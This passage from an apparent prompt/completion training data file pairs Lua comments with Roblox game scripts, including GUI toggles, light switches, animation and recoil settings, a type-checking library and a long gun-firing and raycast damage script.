false\t\t\t\t\t\n\t\telse\n\t\tprint(\"close\")\n\ttweenmenuclose:Play()\n\twait(0.5)\n\tscript.Parent.Parent.Frame.Visible = false\n\tdebounce = false\t\t\t\t\t\t\n\tend\t\n\tend\t\nend\nscript.Parent.MouseButton1Down:connect(onClicked)]]", "completion": "\n\nfunction onClicked(click)\n\t--tweenb:Play()\n\t--tweenb2:Play()\n\tscript.Parent.Parent.Parent.Enabled = false\n\tscript.Parent.Parent.Parent.Parent.Building.Enabled = true\nend\nscript.Parent.MouseButton1Down:connect(onClicked)\n"} +{"prompt": "--[[ Use the following script to program your on/off switch to do stuff. This can mean opening and closing a door, turning on and off lights, anything!\nJust put what you want the button to do while on/off below.]]", "completion": "\n\nRoom = script.Parent\n\nfunction on() --Type below what you want the button to do while it is on.\nRoom.L1.SpotLight.Enabled = true\nRoom.L2.SpotLight.Enabled = true\nend\n\nfunction off() --Type below what you want the button to do while it is off.\nRoom.L1.SpotLight.Enabled = false\nRoom.L2.SpotLight.Enabled = false\nend\n"} +{"prompt": "--TABS", "completion": "\n\nfunction activedeactive(thing, val)\n\tfor _,i in pairs (thing:GetChildren()) do\n\t\tif i:IsA(\"ImageButton\") or i:IsA(\"TextButton\") then\n\t\t\tif i.Name ~= \"header\" then\n\t\t\t\ti.Active = val\n\t\t\tend\n\t\tend\n\tend\nend\n\nlights.header.MouseButton1Click:connect(function()\n\tif curtab ~= 3 then\n\t\tcurtab = 3\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\t\tactivedeactive(lights,true)\n\t\tactivedeactive(siren,false)\n\t\tactivedeactive(seats,false)\n\telse\n\t\tcurtab = 0\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\tend\nend)\nsiren.header.MouseButton1Click:connect(function()\n\tif curtab ~= 2 then\n\t\tcurtab = 2\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\t\tactivedeactive(lights,false)\n\t\tactivedeactive(siren,true)\n\t\tactivedeactive(seats,false)\n\telse\n\t\tcurtab = 0\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\tend\nend)\nseats.header.MouseButton1Click:connect(function()\n\tif curtab ~= 1 then\n\t\tcurtab = 1\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\t\tactivedeactive(lights,false)\n\t\tactivedeactive(siren,false)\n\t\tactivedeactive(seats,true)\n\telse\n\t\tcurtab = 0\n\t\tlights:TweenPosition(UDim2.new(0, -8, 0, 150), \"Out\", \"Quad\", 0.5, true)\n\t\tsiren:TweenPosition(UDim2.new(0, -8, 0, 230), \"Out\", \"Quad\", 0.5, true)\n\t\tseats:TweenPosition(UDim2.new(0, -8, 0, 310), \"Out\", \"Quad\", 0.5, true)\n\tend\nend)"} +{"prompt": "-- Also activate when the Action Button is pressed", "completion": "\nlocal function OnChildAdded(child)\n\tif child.Name == 'ActionButtonData' then\n\t\tchild.Changed:connect(function(newValue)\n\t\t\tlocal bindable = child:FindFirstChild('GetTargetPosition')\n\t\t\tif bindable and string.sub(newValue, 1, 1) == 'v' then\n\t\t\t\tlocal matches = {}\n\t\t\t\tfor match in string.gmatch(newValue, '%d+%.?%d*') do\n\t\t\t\t\ttable.insert(matches, match)\n\t\t\t\tend\n\t\t\t\tif #matches == 4 then\n\t\t\t\t\tlocal screenPosition = Vector2.new(matches[1], matches[2])\n\t\t\t\t\tlocal screenSize = Vector2.new(matches[3], matches[4])\n\t\t\t\t\tlocal targetPosition = bindable:Invoke(screenPosition, screenSize, {MyModel})\n\t\t\t\t\tOnActivated(targetPosition)\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- Initialize weld tool", "completion": "\nlocal WeldTool = require(CoreTools.WeldTool)\nCore.AssignHotkey('F', Core.Support.Call(Core.EquipTool, WeldTool));\nCore.Dock.AddToolButton(Core.Assets.WeldIcon, 'F', WeldTool, 'WeldInfo');\n"} +{"prompt": "--//Server Animations", "completion": "\n\tRightHighReady = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftHighReady = CFrame.new(0.6,0.9,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\t\n\tRightLowReady = CFrame.new(-1, -0.2, -.15) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0));\n\tLeftLowReady = CFrame.new(.7,.2,.17) * CFrame.Angles(math.rad(-30),math.rad(35),math.rad(-25));\n\t\n\tRightPatrol = CFrame.new(-1, 0, -.25) * CFrame.Angles(math.rad(0), math.rad(-60), math.rad(0));\n\tLeftPatrol = CFrame.new(.5,.6,.35) * CFrame.Angles(math.rad(-80),math.rad(-30),math.rad(-10));\n\n\tRightAim = CFrame.new(-0.85, -0.2, .2) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));\n\tLeftAim = CFrame.new(.5,-.1,.35) * CFrame.Angles(math.rad(-80),math.rad(30),math.rad(-10));\n\t\n\tRightSprint = CFrame.new(-0.95, 0, .2) * CFrame.Angles(math.rad(-40), math.rad(0), math.rad(0));\n\tLeftSprint = CFrame.new(0.6,0.9,-.3) * CFrame.Angles(math.rad(-140),math.rad(40),math.rad(15));\n\n\tShootPos = CFrame.new(0,0,.15);\n\t\n}\n\nreturn module\n"} +{"prompt": "--[[Dependencies]]", "completion": "\n\n\tlocal player = game.Players.LocalPlayer\n\tlocal mouse = player:GetMouse()\n\tlocal UserInputService = game:GetService(\"UserInputService\")\n\tlocal car = script.Parent.Car.Value\n\tlocal _Tune = require(car[\"A-Chassis Tune\"])\n\n\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid)\n\tlocal idleFromEmote = (animName == \"idle\" and emoteNames[currentAnim] ~= nil)\n\tif (animName ~= currentAnim and not idleFromEmote) then\t\t \n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop()\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--Set up tools equipped or input is done.", "completion": "\nCharacter.ChildAdded:connect(function(Tool)\n\tif Tool:IsA(\"Tool\") then\n\t\tRemoveForceField()\n\tend\nend)\n\nUserInputService.InputBegan:Connect(function(Input,Processed)\n\tif not Processed and Input.KeyCode ~= Enum.KeyCode.Unknown then\n\t\tRemoveForceField()\n\tend\nend)\n\nUserInputService.InputEnded:Connect(function(Input,Processed)\n\tif not Processed and Input.KeyCode ~= Enum.KeyCode.Unknown then\n\t\tRemoveForceField()\n\tend\nend)\n"} +{"prompt": "--[[**\n\tensures value is a number where min <= value <= max\n\n\t@param min The minimum to use\n\t@param max The maximum to use\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.numberConstrained(min, max)\n\tassert(t.number(min))\n\tassert(t.number(max))\n\tlocal minCheck = t.numberMin(min)\n\tlocal maxCheck = t.numberMax(max)\n\n\treturn function(value)\n\t\tlocal minSuccess, minErrMsg = minCheck(value)\n\t\tif not minSuccess then\n\t\t\treturn false, minErrMsg or \"\"\n\t\tend\n\n\t\tlocal maxSuccess, maxErrMsg = maxCheck(value)\n\t\tif not maxSuccess then\n\t\t\treturn false, maxErrMsg or \"\"\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -1.0; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.8; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.6; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.4; -- How much the camera flicks when aiming\n\t\n\tCamShake = 17; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 10; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 0.1; -- Upward gun rotation when not aiming\n\tAimKickback = 2.2; -- Upward gun rotation when aiming\n\t"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1, p2)\n\tlocal v1 = p2 - p1;\n\tif v1 > 180 then\n\t\treturn v1 - 360;\n\tend;\n\tif v1 < -180 then\n\t\tv1 = v1 + 360;\n\tend;\n\treturn v1;\nend;\n"} +{"prompt": "-- Etc", "completion": "\nlocal DESTROY_ON_DEATH = getValueFromConfig(\"DestroyOnDeath\")\nlocal RAGDOLL_ENABLED = getValueFromConfig(\"RagdollEnabled\")\n\nlocal DEATH_DESTROY_DELAY = 5\nlocal PATROL_WALKSPEED = 8\nlocal MIN_REPOSITION_TIME = 2\nlocal MAX_REPOSITION_TIME = 10\nlocal MAX_PARTS_PER_HEARTBEAT = 50\nlocal ATTACK_STAND_TIME = 1\nlocal HITBOX_SIZE = Vector3.new(5, 3, 5)\nlocal SEARCH_DELAY = 1\nlocal ATTACK_RANGE = 3\nlocal ATTACK_DELAY = 1\nlocal ATTACK_MIN_WALKSPEED = 8\nlocal ATTACK_MAX_WALKSPEED = 15\n"} +{"prompt": "-- Important parts --", "completion": "\nlocal faucet = p.Faucet\nlocal faucetParticles = p.Tap.ParticleEmitter\nlocal showerHead = p.ShowerHead.Spout.ParticleEmitter\nlocal bathPlug = p.Plug\nlocal showerPlug = p.ShowerPlug\n"} +{"prompt": "--end of key up function", "completion": "\nbin.Deselected:connect(onDeselected)\nbin.Selected:connect(onSelected)\n"} +{"prompt": "-- Should messages to channels other than general be echoed into the general channel.\n-- Setting this to false should be used with ShowChannelsBar", "completion": "\nmodule.EchoMessagesInGeneralChannel = true\nmodule.ChannelsBarFullTabSize = 4 -- number of tabs in bar before it starts to scroll\nmodule.MaxChannelNameLength = 12"} +{"prompt": "--[[\nApplies the theme.\n--]]", "completion": "\nreturn function(MapModel)\n\t--Replace the colors.\n\tReplaceColors(MapModel,BrickColor.new(\"Dark green\"),BrickColor.new(\"Institutional white\"))\n\tReplaceColors(MapModel,BrickColor.new(\"Br. yellowish green\"),BrickColor.new(\"Institutional white\"))\n\tReplaceColors(MapModel,BrickColor.new(\"Bright green\"),BrickColor.new(\"Institutional white\"))\n\tReplaceColors(MapModel,BrickColor.new(\"Earth green\"),BrickColor.new(\"Institutional white\"))\nend\n"} +{"prompt": "--[[**\n\tensures Lua primitive thread type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.thread = primitive(\"thread\")\n"} +{"prompt": "--// Firemode Functions", "completion": "\nfunction CreateBullet(L_200_arg1)\n\tlocal L_201_ = L_59_.Position\n\tlocal L_202_ = (L_4_.Hit.p - L_201_).unit\n\tlocal L_203_ = CFrame.Angles(math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)))\n\tL_202_ = L_203_ * L_202_\t\n\tlocal L_204_ = CFrame.new(L_201_, L_201_ + L_202_)\t\n\t\t\n\tlocal L_205_ = Instance.new(\"Part\", L_101_)\n\tgame.Debris:AddItem(L_205_, 10)\n\tL_205_.Shape = Enum.PartType.Ball\n\tL_205_.Size = Vector3.new(1, 1, 12)\n\tL_205_.Name = \"Bullet\"\n\tL_205_.TopSurface = \"Smooth\"\n\tL_205_.BottomSurface = \"Smooth\"\n\tL_205_.BrickColor = BrickColor.new(\"Bright green\")\n\tL_205_.Material = \"Neon\"\n\tL_205_.CanCollide = false\n\t\t--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)\n\tL_205_.CFrame = L_204_\n\t\t\n\tlocal L_206_ = Instance.new(\"Sound\")\n\tL_206_.SoundId = \"rbxassetid://341519743\"\n\tL_206_.Looped = true\n\tL_206_:Play()\n\tL_206_.Parent = L_205_\n\tL_206_.Volume = 0.4\n\tL_206_.MaxDistance = 30\n\t\n\tL_205_.Transparency = 1\n\tlocal L_207_ = L_205_:GetMass()\n\tlocal L_208_ = Instance.new('BodyForce', L_205_)\n\t\t\n\tif not L_83_ then\n\t\tL_208_.Force = L_24_.BulletPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.BulletSpeed\n\telse\n\t\tL_208_.Force = L_24_.ExploPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.ExploSpeed\n\tend\n\t\t\n\tlocal L_209_ = Instance.new('Attachment', L_205_)\n\tL_209_.Position = Vector3.new(0.1, 0, 0)\n\tlocal L_210_ = Instance.new('Attachment', L_205_)\n\tL_210_.Position = Vector3.new(-0.1, 0, 0)\n\t\t\t\n\tlocal L_211_ = TracerCalculation()\n\t\t\n\tif L_24_.TracerEnabled == true and L_211_ then\n\t\tlocal L_212_ = Instance.new('Trail', L_205_)\n\t\tL_212_.Attachment0 = L_209_\n\t\tL_212_.Attachment1 = L_210_\n\t\tL_212_.Transparency = NumberSequence.new(L_24_.TracerTransparency)\n\t\tL_212_.LightEmission = L_24_.TracerLightEmission\n\t\tL_212_.TextureLength = L_24_.TracerTextureLength\n\t\tL_212_.Lifetime = L_24_.TracerLifetime\n\t\tL_212_.FaceCamera = L_24_.TracerFaceCamera\n\t\tL_212_.Color = ColorSequence.new(L_24_.TracerColor.Color)\n\tend\n\t\t\n\tif L_1_:FindFirstChild('Shell') and not L_83_ then\t\n\t\tCreateShell()\t\n\tend\t\n\t\t\n\tdelay(0.2, function()\n\t\tL_205_.Transparency = 0\n\tend)\n\t\n\treturn L_205_\nend\n\nfunction CheckForHumanoid(L_213_arg1)\n\tlocal L_214_ = false\n\tlocal L_215_ = nil\n\tif L_213_arg1 then\n\t\tif (L_213_arg1.Parent:FindFirstChild(\"Humanoid\") or L_213_arg1.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\tL_214_ = true\n\t\t\tif L_213_arg1.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Humanoid\n\t\t\telseif L_213_arg1.Parent.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Parent.Humanoid\n\t\t\tend\n\t\telse\n\t\t\tL_214_ = false\n\t\tend\t\n\tend\n\treturn L_214_, L_215_\nend\n\nfunction CastRay(L_216_arg1)\n\tlocal L_217_, L_218_, L_219_\n\tlocal L_220_ = L_56_.Position;\n\tlocal L_221_ = L_216_arg1.Position;\n\tlocal L_222_ = 0\n\n\tlocal L_223_ = L_83_\t\n\t\n\twhile true do\n\t\tL_106_:wait()\n\t\tL_221_ = L_216_arg1.Position;\n\t\tL_222_ = L_222_ + (L_221_ - L_220_).magnitude\n\t\tL_217_, L_218_, L_219_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_220_, (L_221_ - L_220_)), IgnoreList);\n\t\tlocal L_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\tlocal L_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\tif L_222_ > L_24_.BulletDecay then\n\t\t\tL_216_arg1:Destroy()\n\t\t\tbreak\n\t\tend\n\t\tif L_217_ and (L_217_ and L_217_.Transparency >= 1 or L_217_.CanCollide == false) and L_217_.Name ~= 'Right Arm' and L_217_.Name ~= 'Left Arm' and L_217_.Name ~= 'Right Leg' and L_217_.Name ~= 'Left Leg' and L_217_.Name ~= 'Armor' then\n\t\t\ttable.insert(IgnoreList, L_217_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tL_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\t\tL_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\t\n\t\t\tL_118_:FireServer(L_218_)\n\t\t\n\t\t\tlocal L_226_ = CheckForHumanoid(L_217_)\n\t\t\tif L_226_ == false then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_227_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Part\", L_217_)\n\t\t\telseif L_226_ == true then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_228_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Human\", L_217_)\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_223_ then\n\t\t\tL_116_:FireServer(L_218_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tlocal L_229_, L_230_ = CheckForHumanoid(L_217_)\n\t\t\tif L_229_ then\n\t\t\t\tL_111_:FireServer(L_230_)\n\t\t\t\tif L_24_.AntiTK then\n\t\t\t\t\tif game.Players:FindFirstChild(L_230_.Parent.Name) and game.Players:FindFirstChild(L_230_.Parent.Name).TeamColor ~= L_2_.TeamColor or L_230_.Parent:FindFirstChild('Vars') and game.Players:FindFirstChild(L_230_.Parent:WaitForChild('Vars'):WaitForChild('BotID').Value) and L_2_.TeamColor ~= L_230_.Parent:WaitForChild('Vars'):WaitForChild('teamColor').Value then\n\t\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_231_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_231_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_231_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_231_, L_231_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal L_232_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_232_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_232_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_232_, L_232_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_233_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_233_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_233_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_233_, L_233_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_234_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_234_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_234_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_234_, L_234_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal L_235_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_235_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_235_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_235_, L_235_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_236_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_236_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_236_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_236_, L_236_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_217_.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn L_217_, L_218_;\n\t\tend\n\t\tL_220_ = L_221_;\n\tend\nend\n\nfunction fireSemi()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_237_, L_238_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_239_ = JamCalculation()\n\t\tif L_239_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction fireExplo()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_60_:WaitForChild('Fire').SoundId, L_60_)\n\t\telse\n\t\t\tL_60_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t local rocket = Tool.Rocket:Clone()\n\t Tool.Rocket.Transparency = 1\n\t\tL_105_ = L_105_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_240_, L_241_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\t\n\t\tL_69_ = false\n\t\tShooting = false\n\tend\nend\n\nfunction fireShot()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tfor L_243_forvar1 = 1, L_24_.ShotNum do\n\t\t\tspawn(function()\n\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\tend)\n\t\t\tlocal L_244_, L_245_ = spawn(function()\n\t\t\t\tCastRay(L_102_)\n\t\t\tend)\n\t\tend\n\t\t\t\t\t\t\n\t\tfor L_246_forvar1, L_247_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_247_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_247_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_248_forvar1, L_249_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_249_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_249_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_242_ = JamCalculation()\n\t\tif L_242_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBoltAction()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_250_, L_251_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\t\n\t\tfor L_253_forvar1, L_254_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_254_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_254_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_255_forvar1, L_256_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_256_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_256_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = 